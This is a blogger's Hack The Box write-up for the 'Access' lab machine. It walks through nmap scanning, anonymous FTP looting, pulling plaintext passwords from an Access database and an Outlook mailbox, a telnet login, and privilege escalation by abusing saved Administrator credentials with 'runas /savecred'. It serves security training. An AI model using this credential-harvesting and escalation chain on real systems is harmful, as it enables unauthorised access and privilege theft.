Access: Hack The Box writeup

Access info page

Recently I discovered Hack The Box, an online platform to hone your cyber security skills by practising on vulnerable VMs. The first box I solved is called Access. In this blog post I’ll walk through how I solved it. If you don’t want any spoilers, look away now!

Information gathering

Let’s start with an nmap scan to see what services are running on the box.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.98
...
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_  SYST: Windows_NT
23/tcp open  telnet  syn-ack Microsoft Windows XP telnetd (no more connections allowed)
80/tcp open  http    syn-ack Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp

nmap has found three services running: FTP, telnet, and an HTTP server. Let’s see what’s running on the HTTP server.

It’s just a static page, showing an image. Nothing interesting, so let’s move on for now.

Anonymous FTP

nmap showed that there is an FTP server running, with anonymous login allowed. Let’s see what’s on that server

# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM       <DIR>          Backups
08-24-18  09:00PM       <DIR>          Engineer
226 Transfer complete.
ftp> ls Backups
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM              5652480 backup.mdb
226 Transfer complete.
ftp> ls Engineer
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  12:16AM                10870 Access Control.zip
226 Transfer complete.

There are some interesting files here, let’s download them and analyse them

# wget ftp://anonymous:[email protected] --no-passive-ftp --mirror
--2019-02-02 15:37:26--  ftp://anonymous:*password*@10.10.10.98/
           => ‘10.10.10.98/.listing’
Connecting to 10.10.10.98:21... connected.
Logging in as anonymous ... Logged in!
...
FINISHED --2019-02-02 15:37:28--
Total wall clock time: 1.8s
Downloaded: 5 files, 5.4M in 1.4s (3.99 MB/s)

Microsoft Access

We’ve got a .mdb file—which is a Microsoft Access database file—and a zip file. If we take a quick look at the zip file it’s password protected. We’ll have to come back the that later.

We can examine backup.mdb using MDB tools. Maybe there’s something we can use there.

# mdb-tables Backups/backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx

It looks like there’s a lot of autogenerated tables here, but those auth_* tables look interesting.

# mdb-export Backups/backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","[email protected]",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

Awesome! So we’ve got some credentials for engineer, and we’ve got a password protected zip file in the Engineer directory.

Microsoft Outlook

# 7z x Access\ Control.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-7820HQ CPU @ 2.90GHz (906E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870


Enter password (will not be echoed):
Everything is Ok

Size:       271360
Compressed: 10870

# ls
'Access Control.pst'  'Access Control.zip'

That worked! Now we’ve got the mailbox backup for the engineer, but we first need to convert it to something that we can read more easily on Linux.

# readpst Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
	"Access Control" - 2 items done, 0 items skipped.

Let’s take a peek at the engineer’s mailbox

# mail -f Access\ Control.mbox
mail version v14.9.11.  Type `?' for help
'/root/10.10.10.98/Engineer/Access Control.mbox': 1 message
▸O  1 [email protected]  2018-08-23 23:44   87/3112  MegaCorp Access Control System "security" account
?
[-- Message  1 -- 87 lines, 3112 bytes --]:
From "[email protected]" Thu Aug 23 23:44:07 2018
From: [email protected] <[email protected]>
Subject: MegaCorp Access Control System "security" account
To: '[email protected]'
Date: Thu, 23 Aug 2018 23:44:07 +0000

[-- #1.1 73/2670 multipart/alternative --]



[-- #1.1.1 15/211 text/plain, 7bit, utf-8 --]

Hi there,



The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is pass
ed on to your engineers.



Regards,

John



[-- #1.1.2 51/2211 text/html, 7bit, us-ascii --]
?

Another set of credentials! I wonder what these are used for? Let’s try FTP first

# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:jamie): security
331 Password required for security.
Password:
530 User cannot log in.
ftp: Login failed.

No dice ☹. The only other option is telnet.

Telnet

# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security
password:

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>

We’re in! The user.txt should be located on security’s Desktop

C:\Users\security>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security

02/02/2019  03:56 PM    <DIR>          .
02/02/2019  03:56 PM    <DIR>          ..
08/24/2018  07:37 PM    <DIR>          .yawcam
08/21/2018  10:35 PM    <DIR>          Contacts
08/28/2018  06:51 AM    <DIR>          Desktop
08/21/2018  10:35 PM    <DIR>          Documents
08/21/2018  10:35 PM    <DIR>          Downloads
08/21/2018  10:35 PM    <DIR>          Favorites
08/21/2018  10:35 PM    <DIR>          Links
08/21/2018  10:35 PM    <DIR>          Music
08/21/2018  10:35 PM    <DIR>          Pictures
08/21/2018  10:35 PM    <DIR>          Saved Games
08/21/2018  10:35 PM    <DIR>          Searches
08/24/2018  07:39 PM    <DIR>          Videos
               1 File(s)        964,179 bytes
              14 Dir(s)  16,745,127,936 bytes free

C:\Users\security>cd Desktop

C:\Users\security\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\Desktop

08/28/2018  06:51 AM    <DIR>          .
08/28/2018  06:51 AM    <DIR>          ..
08/21/2018  10:37 PM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  16,744,726,528 bytes free

C:\Users\security\Desktop>more user.txt
<SNIP>

Privilege escalation

Now that we’ve got the first flag, we need to escalate to root access—or more specifically Administrator on Windows.

The .yawcam directory looks out of the ordinary.

dir .yawcam
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\.yawcam

08/24/2018  07:37 PM    <DIR>          .
08/24/2018  07:37 PM    <DIR>          ..
08/23/2018  10:52 PM    <DIR>          2
08/22/2018  06:49 AM                 0 banlist.dat
08/23/2018  10:52 PM    <DIR>          extravars
08/22/2018  06:49 AM    <DIR>          img
08/23/2018  10:52 PM    <DIR>          logs
08/22/2018  06:49 AM    <DIR>          motion
08/22/2018  06:49 AM                 0 pass.dat
08/23/2018  10:52 PM    <DIR>          stream
08/23/2018  10:52 PM    <DIR>          tmp
08/23/2018  10:34 PM                82 ver.dat
08/23/2018  10:52 PM    <DIR>          www
08/24/2018  07:37 PM             1,411 yawcam_settings.xml
               4 File(s)          1,493 bytes
              10 Dir(s)  16,764,841,984 bytes free

However poking around in there proved fruitless. Maybe there’s a way to use this, but I couldn’t figure anything out.

Let’s keep looking

C:\Users\security>cd ../

C:\Users>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users

02/02/2019  04:15 PM    <DIR>          .
02/02/2019  04:15 PM    <DIR>          ..
08/23/2018  11:46 PM    <DIR>          Administrator
02/02/2019  04:15 PM    <DIR>          engineer
02/02/2019  04:14 PM    <DIR>          Public
02/02/2019  04:16 PM    <DIR>          security
               0 File(s)              0 bytes
               6 Dir(s)  16,754,778,112 bytes free

Maybe one of the other users has something interesting we can use?

C:\Users>cd engineer
Access is denied.

I didn’t really expect that to work anyway

C:\Users>cd Public

C:\Users\Public>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\Public

02/02/2019  04:14 PM    <DIR>          .
02/02/2019  04:14 PM    <DIR>          ..
07/14/2009  05:06 AM    <DIR>          Documents
07/14/2009  04:57 AM    <DIR>          Downloads
07/14/2009  04:57 AM    <DIR>          Music
07/14/2009  04:57 AM    <DIR>          Pictures
07/14/2009  04:57 AM    <DIR>          Videos
               1 File(s)        964,179 bytes
               7 Dir(s)  16,723,468,288 bytes free

Wait a minute, we’re missing some of the standard Windows directories. Let’s have a closer look.


C:\Users\Public>dir /A
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\Public

02/02/2019  04:14 PM    <DIR>          .
02/02/2019  04:14 PM    <DIR>          ..
08/28/2018  06:51 AM    <DIR>          Desktop
07/14/2009  04:57 AM               174 desktop.ini
07/14/2009  05:06 AM    <DIR>          Documents
07/14/2009  04:57 AM    <DIR>          Downloads
07/14/2009  02:34 AM    <DIR>          Favorites
07/14/2009  04:57 AM    <DIR>          Libraries
07/14/2009  04:57 AM    <DIR>          Music
07/14/2009  04:57 AM    <DIR>          Pictures
07/14/2009  04:57 AM    <DIR>          Videos
               2 File(s)        964,353 bytes
              10 Dir(s)  16,717,438,976 bytes free

Desktop has a much more recent modification date than everything else

C:\Users\Public>cd Desktop

C:\Users\Public\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\Public\Desktop

08/22/2018  09:18 PM             1,870 ZKAccess3.5 Security System.lnk
               1 File(s)          1,870 bytes
               0 Dir(s)  16,711,475,200 bytes free

That’s because there’s a shortcut there.

Now, I’m not sure of the best way to view a .lnk on cmd.exe via telnet, but this is what I came up with. If anyone knows of a better way, please let me know!

C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows��:��M�:*wWindowsV1MV�System32��:��MV�*�System32X2P�:�
                                                                                                        runas.exe��:1��:1�*Yrunas.exeL-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�
                      �wN���]N�D.��Q���`�Xaccess�_���8{E�3
                                                          O�j)�H���
                                                                   )ΰ[�_���8{E�3
                                                                                O�j)�H���
                                                                                         )ΰ[�	��1SPS�XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500

It’s a bit difficult to read, but it looks like the shortcut runs a program as the Administrator using saved credentials. We can use that.

C:\Users\Public\Desktop>runas /user:Administrator /savecred "cmd.exe /c more C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\Desktop\output.txt"

Did it work?

C:\Users\Public\Desktop>more output.txt
<SNIP>

Yes! From there we could generate a reverse shell using msfvenom and run that as Administrator, but I’ve got the flag so I’ll leave it there for now.

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